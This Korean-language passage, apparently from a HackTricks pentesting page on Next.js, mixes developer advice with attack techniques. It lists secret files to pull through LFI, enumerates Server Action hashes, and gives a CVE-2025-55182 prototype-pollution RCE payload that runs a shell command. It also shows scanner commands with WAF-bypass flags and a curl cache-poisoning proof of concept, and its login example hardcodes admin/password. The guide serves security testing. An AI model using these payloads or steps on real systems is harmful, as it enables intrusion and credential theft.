Note: 서버 측 전용으로 변수를 제한하려면 env 객체에서 이를 생략하거나 클라이언트 노출을 위해 NEXT_PUBLIC_로 접두사를 붙이세요.

LFI/download 엔드포인트를 통해 노릴 수 있는 유용한 서버 아티팩트

Next.js 앱에서 path traversal 또는 download API를 발견하면, 서버 측 비밀 및 인증 로직을 leak하는 컴파일된 아티팩트를 대상으로 하세요:

  • .env / .env.local — 세션 시크릿과 프로바이더 자격증명.
  • .next/routes-manifest.json.next/build-manifest.json — 전체 라우트 목록 확인용.
  • .next/server/pages/api/auth/[...nextauth].js — 컴파일된 NextAuth 설정을 복구하기 위함 (종종 process.env 값이 설정되지 않았을 때 대체 비밀번호가 포함되어 있음).
  • next.config.js / next.config.mjs — rewrites, redirects 및 middleware 라우팅을 검토하기 위해.

인증 및 권한 부여

접근 방식:

  • 세션 기반 인증 (Session-Based Authentication): 쿠키를 사용하여 사용자 세션을 관리하세요.
  • 토큰 기반 인증 (Token-Based Authentication): 무상태(stateless) 인증을 위해 JWT를 구현하세요.
  • 타사 제공자 (Third-Party Providers): next-auth 같은 라이브러리를 사용해 OAuth 제공자(예: Google, GitHub)와 통합하세요.

보안 관행:

  • Secure Cookies: HttpOnly, Secure, SameSite 속성을 설정하세요.
  • Password Hashing: 저장하기 전에 항상 비밀번호를 해시하세요.
  • Input Validation: 입력을 검증하고 정제(sanitize)하여 인젝션 공격을 방지하세요.

예시:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

성능 최적화

전략:

  • 이미지 최적화: Next.js의 next/image 컴포넌트를 사용하여 이미지 자동 최적화.
  • 코드 분할: 동적 import를 활용해 코드를 분할하고 초기 로드 시간을 줄이세요.
  • 캐싱: API 응답 및 정적 자산에 대한 캐싱 전략을 구현하세요.
  • 지연 로딩: 필요할 때만 컴포넌트나 자산을 로드하세요.

예시:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Next.js Server Actions Enumeration (hash to function name via source maps)

최신 Next.js는 서버에서 실행되지만 클라이언트에서 호출되는 “Server Actions”를 사용합니다. 프로덕션에서는 이러한 호출이 불투명합니다: 모든 POSTs는 공통 엔드포인트로 들어오고, Next-Action 헤더에 전송된 빌드별 해시로 구분됩니다. 예시:

POST /
Next-Action: a9f8e2b4c7d1...

productionBrowserSourceMaps가 활성화되어 있으면, minified JS 청크에는 createServerReference(...) 호출이 포함되어 있어 (연관된 source maps와 함께) action hash와 원래 함수 이름 간의 매핑을 복구할 만큼의 구조를 leak합니다. 이를 통해 Next-Action에서 관찰한 hash들을 deleteUserAccount()exportFinancialData() 같은 구체적 대상로 변환할 수 있습니다.

추출 방법 (regex on minified JS + optional source maps)

다운로드한 JS 청크에서 createServerReference를 검색하여 hash와 function/source symbol을 추출합니다. 유용한 두 가지 패턴:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • 그룹 1: 서버 액션 해시 (16진수 40자 이상)
  • 그룹 2: 심볼 또는 경로(소스 맵이 있을 경우 원래 함수로 복원 가능한)

If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.

실무 워크플로우

  • 브라우징 중 수동 발견: Next-Action 헤더와 JS chunk URLs를 포함한 요청을 캡처한다.
  • 참조된 JS 번들과 함께 제공되는 *.map 파일(있을 경우)을 가져온다.
  • 위의 regex를 실행해 해시↔이름 사전을 구성한다.
  • 사전을 이용해 테스트 대상을 선정한다:
    • 이름 기반 분류(예: transferFunds, exportFinancialData).
    • 함수명 기준으로 빌드 간 커버리지 추적(해시는 빌드마다 변경됨).

숨겨진 액션 실행(템플릿 기반 요청)

프록시에서 관찰된 유효한 POST를 템플릿으로 사용해 Next-Action 값을 다른 발견된 액션으로 교체한다:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Repeater에서 재실행하여 접근할 수 없는 액션들의 권한 검사, 입력 검증 및 비즈니스 로직을 테스트하세요.

Burp 자동화

  • NextjsServerActionAnalyzer (Burp extension)는 Burp에서 위 과정을 자동화합니다:
  • 프록시 히스토리에서 JS 청크를 탐색하고, createServerReference(...) 항목을 추출하며, 가능하면 소스 맵을 파싱합니다.
  • 검색 가능한 hash↔function-name 사전을 유지하고 함수 이름으로 빌드 간 중복을 제거합니다.
  • 유효한 템플릿 POST를 찾아 대상 액션의 hash로 교체한 상태로 전송 준비된 Repeater 탭을 엽니다.
  • 리포지토리: https://github.com/Adversis/NextjsServerActionAnalyzer

참고 및 제한사항

  • 번들/소스 맵에서 이름을 복구하려면 프로덕션 환경에서 productionBrowserSourceMaps가 활성화되어 있어야 합니다.
  • Function-name 공개 자체는 취약점이 아닙니다; 이를 이용해 탐색을 안내하고 각 액션의 권한을 테스트하세요.

React Server Components Flight 프로토콜 역직렬화 RCE (CVE-2025-55182)

Server Actions를 react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) 에 노출하는 Next.js App Router 배포는 Flight 청크 역직렬화 과정에서 치명적인 서버 측 prototype pollution을 포함합니다. Flight 페이로드 내부에 $ 참조를 조작하면 공격자는 오염된 프로토타입에서 임의의 JavaScript 실행으로, 그 후 Node.js 프로세스 내부의 OS 명령 실행으로 전환할 수 있습니다.

NodeJS - proto & prototype Pollution

Flight 청크에서의 공격 체인

  1. Prototype pollution primitive: "then": "$1:__proto__:then"을 설정하면 resolver가 Object.prototypethen 함수를 씁니다. 이후 처리되는 모든 일반 객체는 thenable이 되어 공격자가 RSC 내부의 비동기 제어 흐름에 영향을 줄 수 있습니다.
  2. Rebinding to the global Function constructor: _response._formData.get"$1:constructor:constructor"로 가리키게 합니다. 해석 과정에서 object.constructorObject, 그리고 Object.constructorFunction이므로 향후 _formData.get() 호출은 실제로 Function(...)을 실행합니다.
  3. Code execution via _prefix: _response._prefix에 JavaScript 소스를 넣습니다. 오염된 _formData.get가 호출되면 프레임워크는 Function(_prefix)(...)를 평가하므로 주입된 JS는 require('child_process').exec() 또는 다른 Node 기본 기능을 실행할 수 있습니다.

페이로드 스켈레톤

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

React Server Function 노출 매핑

React Server Functions (RSF)는 ‘use server’; 지시문을 포함하는 모든 함수입니다. 해당 함수들에 바인딩된 모든 form action, mutation, 또는 fetch helper는 RSC Flight endpoint가 되어 공격자가 제공한 페이로드를 역직렬화합니다. React2Shell assessments에서 파생된 유용한 recon 단계:

  • Static inventory: 지시문을 찾아 프레임워크가 자동으로 노출하는 RSF의 수를 파악하세요.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app은 기본적으로 App Router + app/ 디렉터리를 활성화하여, 모든 라우트를 조용히 RSC-지원 엔드포인트로 전환합니다. App Router 자산(예: /_next/static/chunks/app/) 또는 Flight 청크를 text/x-component로 스트리밍하는 응답은 강력한 인터넷 노출 지문입니다.
  • Implicitly vulnerable RSC deployments: React의 권고에 따르면 RSC runtime을 포함해 배포되는 앱은 명시적인 RSFs 없이도 악용될 수 있으므로 react-server-dom-* 19.0.0–19.2.0을 사용하는 모든 빌드를 의심해야 합니다.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku 등은 동일한 serializer를 재사용하며 패치된 React 빌드를 포함할 때까지 동일한 원격 공격 표면을 물려받습니다.

Version coverage (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: 취약(vulnerable) 19.0.0, 19.1.0–19.1.1 및 19.2.0; 패치됨(patched) 19.0.1, 19.1.2 및 19.2.1 각각.
  • Next.js stable: App Router releases 15.0.0–16.0.6는 취약한 RSC 스택을 포함합니다. 패치 트레인 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7은 수정된 종속성을 포함하므로, 해당 버전들보다 낮은 빌드는 높은 우선 조사 대상입니다.
  • Next.js canary: 14.3.0-canary.77+ 또한 문제가 있는 런타임을 포함하며 현재 패치된 canary 릴리스가 없어 해당 지문은 강력한 악용 후보입니다.

Remote detection oracle

Assetnote’s react2shell-scanner 는 후보 경로에 조작된 multipart Flight 요청을 전송하고 서버 측 동작을 관찰합니다:

  • Default mode는 결정적 RCE 페이로드를 실행합니다(수학 연산이 X-Action-Redirect를 통해 반영되어) 코드 실행을 입증합니다.
  • --safe-check mode는 의도적으로 Flight 메시지를 손상시켜 패치된 서버는 200/400을 반환하는 반면, 취약한 대상은 본문에 E{"digest" 서브스트링을 포함한 HTTP/500 응답을 반환합니다. 이 (500 + digest) 조합은 현재 수비 측에서 공개한 가장 신뢰할 수 있는 원격 오라클입니다.
  • 내장된 --waf-bypass, --vercel-waf-bypass, 및 --windows 스위치는 페이로드 레이아웃을 조정하거나 junk를 앞에 추가하거나 OS 명령을 교체하여 실제 인터넷 자산을 탐색할 수 있게 합니다.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

기타 최근 App Router 이슈 (2025년 말)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – 손상된 Flight 페이로드는 RSC resolver를 무한 루프로 몰아넣어 (pre-auth DoS) 다른 동작을 위해 컴파일된 Server Function 코드를 직렬화하도록 강제할 수 있습니다. App Router 빌드 ≥13.3은 패치 전까지 영향을 받으며; 15.0.x–16.0.x는 upstream advisory의 특정 패치 라인이 필요합니다. 일반 Server Action 경로를 재사용하되 text/x-component 바디를 스트리밍하고 악의적인 $ 참조를 포함시키세요. CDN 뒤에서는 정지된 연결이 cache timeouts로 인해 열린 상태로 유지되어 DoS가 저렴해집니다.
  • 트리아지 팁: 패치되지 않은 대상은 손상된 Flight 페이로드 후 E{"digest"가 포함된 500을 반환합니다; 패치된 빌드는 400/200을 반환합니다. 이미 Flight 청크를 스트리밍하는 엔드포인트( Next-Action 헤더나 text/x-component 응답을 확인)에서 테스트하고 수정된 페이로드로 재생하세요.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2)Vary가 누락되면 Accept: text/x-component 응답이 캐시되어 HTML을 기대하는 브라우저에 제공될 수 있습니다. 단 한 번의 프라이밍 요청으로 페이지가 원시 RSC 페이로드로 대체될 수 있습니다. PoC 흐름:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

두 번째 응답이 HTML 대신 JSON Flight 데이터를 반환하면 해당 라우트는 오염 가능성이 있습니다. 테스트 후에는 캐시를 purge하세요.

References

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기